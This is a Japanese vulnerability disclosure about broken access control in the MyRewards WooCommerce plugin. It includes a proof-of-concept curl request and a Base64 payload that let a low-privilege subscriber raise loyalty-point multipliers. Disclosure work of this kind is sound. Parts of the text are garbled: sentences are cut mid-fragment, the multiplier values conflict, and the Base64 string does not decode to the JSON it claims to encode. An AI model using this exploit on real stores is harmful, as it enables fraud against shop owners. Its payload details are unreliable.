
プラグイン MyRewards – Loyalty Points and Rewards for WooCommerce における認可の欠如/アクセス制御の不備
免責事項: このリポジトリは教育目的および倫理的な開示のみのために作成されています。この脆弱性はベンダーに責任を持って報告され、パッチが適用済みです。適切な許可なくこの情報を利用してシステムを悪用しないでください。
WooCommerce 用プラグイン MyRewards (WooRewards)(バージョン <= 5.6.0)において、深刻なアクセス制御破損 / 権限昇格の脆弱性が発見されました。この欠陥により、購読者(Subscriber) のような最小限の権限しか持たないログインユーザーであっても、認可を回避して機密性の高いショップの報酬ルールを変更できてしまいます。
この脆弱性を悪用することで、攻撃者はロイヤリティポイントの倍率を天文学的な値(例:999,999,999')に増加させ、たった一度の少額購入から大量のポイントを蓄積し、それらをクーポンや無料商品と交換して、ストアに直接的な金銭的損失をもたらすことが可能です。
<= 5.6.0この脆弱性の根本原因は、データベース変更を処理する重要な AJAX エンドポイントに、機能の権限チェック(キャパビリティチェック)や CSRF 対策が実装されていないことにあります。
1. 認可されていない AJAX 登録:
このプラグインは、CRUD 操作を管理するために汎用コントローラークラス(EditlistControler)を利用しています。editlistcontroler.php では、wp_ajax_ フックを使用して AJAX アクション editlist を登録しており、ロールに関係なくすべてのログインユーザーが利用できます:
add_action('wp_ajax_lws_adminpanel_editlist', array($this, 'ajax'));
2. 認可およびノンス検証の欠如:
ajax() メソッドと accept() メソッド内では、ユーザー入力のみに基づいて状態を変更するリクエスト(例: 更新用の put、削除用の del)を処理しています。current_user_can() や check_ajax_referer() の呼び出しが完全に欠落しており、ユーザーが manage_woocommerce 権限を持っているかどうかの検証が行われません。
3. 危険なペイロード処理:
エンドポイントは line パラメーターを介して Base64 エンコードされた JSON 文字列を受け入れ、それをデコードして EventList::write() メソッドに直接渡し、悪意のある設定をそのままデータベースに保存します:
$data = json_decode(base64_decode($line), true);
$this->m_Source->write($data);
以下の手順は、認証済みの購読者がこの欠陥を悪用する方法を示しています。
subscriber レベルのアカウントの有効な認証情報。101)は連番であり、AJAX の応答を観察することで容易に列挙できます。ルール ID 101 のポイント倍率を 999,999,999,999,999 に更新します。
初期 JSON
{
"post_id":"101",
"wre_type":"lws_woorewards_events_orderamount",
"lws_woorewards_events_orderamount_multiplier": "999999999999999"
}
Base64 エンコード済み('line の値')
eyJwb3N0X2lkIjoiMTAxIiwid3JlX3R5cGUiOiJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnQiLCJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnRfbWVsdGlwbGl1ciI6ICI5OTk5OTk5OTk5OTk5OTk5In0
低権限ユーザーとして次の CURL リクエストを実行します:
curl -i -X POST 'http://TARGET_SITE/wp-admin/admin-ajax.php' \
-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
-b '[Subscriber_Cookies_Here]' \
-d 'action=lws_adminpanel_editlist&method=put&id=EventList&line=eyJwb3N0X2lkIjoiMTAxIiwid3JlX3R5cGUiOiJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnQiLCJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnRfbWVsdGlwbGl1ciI6ICI5OTk5OTk5OTk5OTk5OTk5In0'
{"status":1} を返し、更新が成功したことを確認します。この問題を修正するには、MyRewards プラグインを最新のパッチ適用済みバージョンに更新してください。ベンダーは以下の方法で解決しました:
current_user_can() チェックを実装し、管理権限を検証する。check_ajax_referer() を追加してノンスを検証し、クロスサイトリクエストフォージェリ (CSRF) を防ぐ。倫理的な基準に従ったことを示す、開示プロセスの簡単な記録: